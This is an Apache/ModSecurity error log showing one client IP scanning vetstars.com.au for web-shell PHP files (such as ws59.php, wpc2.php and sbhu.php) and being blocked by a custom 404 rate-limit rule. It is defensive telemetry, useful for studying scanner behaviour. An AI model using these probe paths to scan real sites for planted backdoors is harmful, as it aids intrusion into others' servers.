[Sun Apr 19 23:46:35.854404 2026] [:error] [pid 15765:tid 15870] [client 20.215.51.14:7097] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blqjs.php"] [unique_id "aeT42_Rqinw-W5EwQ74PVAAAApE"]
[Sun Apr 19 23:46:36.722594 2026] [:error] [pid 15763:tid 15811] [client 20.215.51.14:6925] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/blqjs.php"] [unique_id "aeT43LMXv1Y1THOoxaAgGgAAAg8"]
[Sun Apr 19 23:46:37.680595 2026] [:error] [pid 47773:tid 47837] [client 20.215.51.14:7116] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeT43eiBHdnCJDuPq9Bh4QAAAFU"]
[Sun Apr 19 23:46:38.616023 2026] [:error] [pid 15694:tid 15743] [client 20.215.51.14:7019] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeT43rimB-jol1fwqAoepgAAAZE"]
[Sun Apr 19 23:46:39.454222 2026] [:error] [pid 47773:tid 47831] [client 20.215.51.14:6995] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeT43-iBHdnCJDuPq9Bh5QAAAE8"]
[Sun Apr 19 23:46:40.350585 2026] [:error] [pid 47772:tid 47804] [client 20.215.51.14:6988] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbhu.php"] [unique_id "aeT44Ic0L16cb4smAz_p8QAAAA8"]
[Sun Apr 19 23:46:41.126787 2026] [:error] [pid 15764:tid 15837] [client 20.215.51.14:6976] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "aeT44WLL_sqdSHoVp-ROdQAAAks"]
[Sun Apr 19 23:46:41.887003 2026] [:error] [pid 47773:tid 47830] [client 20.215.51.14:7148] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "aeT44eiBHdnCJDuPq9Bh5wAAAE4"]
[Sun Apr 19 23:46:42.894170 2026] [:error] [pid 15764:tid 15848] [client 20.215.51.14:7121] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "aeT44mLL_sqdSHoVp-ROdgAAAlY"]
[Sun Apr 19 23:46:43.775202 2026] [:error] [pid 15764:tid 15841] [client 20.215.51.14:7010] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fyflv.php"] [unique_id "aeT442LL_sqdSHoVp-ROdwAAAk8"]
[Sun Apr 19 23:46:44.790445 2026] [:error] [pid 15693:tid 15700] [client 20.215.51.14:7163] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zvinn.php"] [unique_id "aeT45MNMD-ccazQlTsloxAAAAUQ"]
[Sun Apr 19 23:46:45.662874 2026] [:error] [pid 15694:tid 15744] [client 20.215.51.14:6984] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zvinn.php"] [unique_id "aeT45bimB-jol1fwqAoerAAAAZI"]
[Sun Apr 19 23:46:46.454103 2026] [:error] [pid 15694:tid 15748] [client 20.215.51.14:6920] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zvinn.php"] [unique_id "aeT45rimB-jol1fwqAoerwAAAZY"]
[Sun Apr 19 23:46:47.525989 2026] [:error] [pid 15764:tid 15839] [client 20.215.51.14:6850] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zvinn.php"] [unique_id "aeT452LL_sqdSHoVp-ROeAAAAk0"]
[Sun Apr 19 23:46:48.388316 2026] [:error] [pid 15765:tid 15866] [client 20.215.51.14:7017] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "aeT46PRqinw-W5EwQ74PZQAAAo0"]
[Sun Apr 19 23:46:49.799344 2026] [:error] [pid 15764:tid 15843] [client 20.215.51.14:7020] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "aeT46WLL_sqdSHoVp-ROfAAAAlE"]
[Sun Apr 19 23:46:50.780314 2026] [:error] [pid 15760:tid 15785] [client 20.215.51.14:7149] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "aeT46vSdD_XHQMJ_ISt7JwAAAdE"]
[Sun Apr 19 23:46:51.651362 2026] [:error] [pid 15760:tid 15777] [client 20.215.51.14:6793] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sale.php"] [unique_id "aeT46_SdD_XHQMJ_ISt7LAAAAck"]
[Sun Apr 19 23:46:52.469765 2026] [:error] [pid 47886:tid 47897] [client 20.215.51.14:7001] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ne2026.php"] [unique_id "aeT47ESe8yiyuPrD7yOMvQAAAMk"]
[Sun Apr 19 23:46:53.481446 2026] [:error] [pid 15760:tid 15769] [client 20.215.51.14:7037] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ne2026.php"] [unique_id "aeT47fSdD_XHQMJ_ISt7NAAAAcE"]
[Sun Apr 19 23:46:54.425472 2026] [:error] [pid 15763:tid 15814] [client 20.215.51.14:7037] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ne2026.php"] [unique_id "aeT47rMXv1Y1THOoxaAgKwAAAhI"]
[Sun Apr 19 23:46:55.537726 2026] [:error] [pid 15694:tid 15751] [client 20.215.51.14:6937] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ne2026.php"] [unique_id "aeT477imB-jol1fwqAoesQAAAZg"]
[Sun Apr 19 23:46:56.730841 2026] [:error] [pid 15760:tid 15788] [client 20.215.51.14:7062] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l10n.php"] [unique_id "aeT48PSdD_XHQMJ_ISt7OwAAAdQ"]
[Sun Apr 19 23:46:57.778337 2026] [:error] [pid 15763:tid 15809] [client 20.215.51.14:6956] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l10n.php"] [unique_id "aeT48bMXv1Y1THOoxaAgMgAAAg0"]
[Sun Apr 19 23:46:58.872019 2026] [:error] [pid 47775:tid 47852] [client 20.215.51.14:6999] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l10n.php"] [unique_id "aeT48rmztjlk9tsmoewxvwAAAIk"]
[Sun Apr 19 23:46:59.783104 2026] [:error] [pid 15760:tid 15785] [client 20.215.51.14:7123] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/l10n.php"] [unique_id "aeT48_SdD_XHQMJ_ISt7QAAAAdE"]
[Sun Apr 19 23:47:00.570659 2026] [:error] [pid 47886:tid 47894] [client 20.215.51.14:7098] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luyuc.php"] [unique_id "aeT49ESe8yiyuPrD7yOMxgAAAMY"]
[Sun Apr 19 23:47:01.341397 2026] [:error] [pid 15764:tid 15851] [client 20.215.51.14:7119] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luyuc.php"] [unique_id "aeT49WLL_sqdSHoVp-ROjwAAAlg"]
[Sun Apr 19 23:47:02.385930 2026] [:error] [pid 47775:tid 47857] [client 20.215.51.14:6955] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luyuc.php"] [unique_id "aeT49rmztjlk9tsmoewxxwAAAI4"]
[Sun Apr 19 23:47:03.245556 2026] [:error] [pid 15760:tid 15772] [client 20.215.51.14:7112] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/luyuc.php"] [unique_id "aeT49_SdD_XHQMJ_ISt7QgAAAcQ"]
[Sun Apr 19 23:47:04.280338 2026] [:error] [pid 15760:tid 15771] [client 20.215.51.14:7065] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "aeT4-PSdD_XHQMJ_ISt7RgAAAcM"]
[Sun Apr 19 23:47:05.052895 2026] [:error] [pid 15763:tid 15810] [client 20.215.51.14:7054] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "aeT4-bMXv1Y1THOoxaAgPgAAAg4"]
[Sun Apr 19 23:47:06.229791 2026] [:error] [pid 15763:tid 15802] [client 20.215.51.14:7140] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "aeT4-rMXv1Y1THOoxaAgQwAAAgY"]
[Sun Apr 19 23:47:07.084192 2026] [:error] [pid 47886:tid 47896] [client 20.215.51.14:7166] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xy.php"] [unique_id "aeT4-0Se8yiyuPrD7yOMyAAAAMg"]
[Sun Apr 19 23:47:07.926295 2026] [:error] [pid 15694:tid 15726] [client 20.215.51.14:7083] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/balin.php"] [unique_id "aeT4-7imB-jol1fwqAoesgAAAYM"]
[Sun Apr 19 23:47:08.782768 2026] [:error] [pid 15764:tid 15844] [client 20.215.51.14:7122] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/balin.php"] [unique_id "aeT4_GLL_sqdSHoVp-ROoQAAAlI"]
[Sun Apr 19 23:47:09.787675 2026] [:error] [pid 15764:tid 15838] [client 20.215.51.14:7089] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/balin.php"] [unique_id "aeT4_WLL_sqdSHoVp-ROogAAAkw"]
[Sun Apr 19 23:47:10.662151 2026] [:error] [pid 47772:tid 47803] [client 20.215.51.14:7106] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/balin.php"] [unique_id "aeT4_oc0L16cb4smAz_qAwAAAA4"]
[Sun Apr 19 23:47:11.590345 2026] [:error] [pid 15765:tid 15867] [client 20.215.51.14:7093] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "aeT4__Rqinw-W5EwQ74PfQAAAo4"]
[Sun Apr 19 23:47:12.475494 2026] [:error] [pid 15764:tid 15850] [client 20.215.51.14:7155] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vaza.php"] [unique_id "aeT5AGLL_sqdSHoVp-ROpQAAAlc"]
[Sun Apr 19 23:48:00.634269 2026] [:error] [pid 47775:tid 47860] [client 20.215.51.14:7139] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws59.php"] [unique_id "aeT5MLmztjlk9tsmoewx8gAAAJE"]
[Sun Apr 19 23:48:02.885253 2026] [:error] [pid 47775:tid 47857] [client 20.215.51.14:7104] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws59.php"] [unique_id "aeT5Mrmztjlk9tsmoewx9QAAAI4"]
[Sun Apr 19 23:48:04.869747 2026] [:error] [pid 15764:tid 15850] [client 20.215.51.14:7046] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws59.php"] [unique_id "aeT5NGLL_sqdSHoVp-ROygAAAlc"]
[Sun Apr 19 23:48:06.727088 2026] [:error] [pid 15760:tid 15791] [client 20.215.51.14:7077] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws59.php"] [unique_id "aeT5NvSdD_XHQMJ_ISt8JAAAAdc"]
[Sun Apr 19 23:48:08.336522 2026] [:error] [pid 15760:tid 15775] [client 20.215.51.14:7128] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc2.php"] [unique_id "aeT5OPSdD_XHQMJ_ISt8KgAAAcc"]
[Sun Apr 19 23:48:09.357368 2026] [:error] [pid 15760:tid 15788] [client 20.215.51.14:7127] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc2.php"] [unique_id "aeT5OfSdD_XHQMJ_ISt8MgAAAdQ"]
[Sun Apr 19 23:48:10.211924 2026] [:error] [pid 15763:tid 15820] [client 20.215.51.14:7006] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc2.php"] [unique_id "aeT5OrMXv1Y1THOoxaAgdQAAAhg"]
[Sun Apr 19 23:48:11.746913 2026] [:error] [pid 47775:tid 47850] [client 20.215.51.14:7132] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpc2.php"] [unique_id "aeT5O7mztjlk9tsmoewx-wAAAIc"]
[Sun Apr 19 23:48:12.597505 2026] [:error] [pid 15764:tid 15844] [client 20.215.51.14:7036] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "aeT5PGLL_sqdSHoVp-RO5wAAAlI"]
[Sun Apr 19 23:48:13.947732 2026] [:error] [pid 15760:tid 15771] [client 20.215.51.14:7146] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "aeT5PfSdD_XHQMJ_ISt8TAAAAcM"]
[Sun Apr 19 23:48:15.288031 2026] [:error] [pid 15763:tid 15818] [client 20.215.51.14:7125] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "aeT5P7MXv1Y1THOoxaAgegAAAhY"]
[Sun Apr 19 23:48:16.527917 2026] [:error] [pid 47886:tid 47905] [client 20.215.51.14:7103] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "aeT5QESe8yiyuPrD7yOM6wAAANE"]
[Sun Apr 19 23:48:17.715825 2026] [:error] [pid 15760:tid 15783] [client 20.215.51.14:6997] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeT5QfSdD_XHQMJ_ISt8VQAAAc8"]
[Sun Apr 19 23:48:19.013385 2026] [:error] [pid 15765:tid 15867] [client 20.215.51.14:7056] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeT5Q_Rqinw-W5EwQ74PmwAAAo4"]
[Sun Apr 19 23:48:20.096587 2026] [:error] [pid 15760:tid 15780] [client 20.215.51.14:6978] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeT5RPSdD_XHQMJ_ISt8XQAAAcw"]
[Sun Apr 19 23:48:21.656168 2026] [:error] [pid 15694:tid 15743] [client 20.215.51.14:7055] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws80.php"] [unique_id "aeT5RbimB-jol1fwqAoexQAAAZE"]
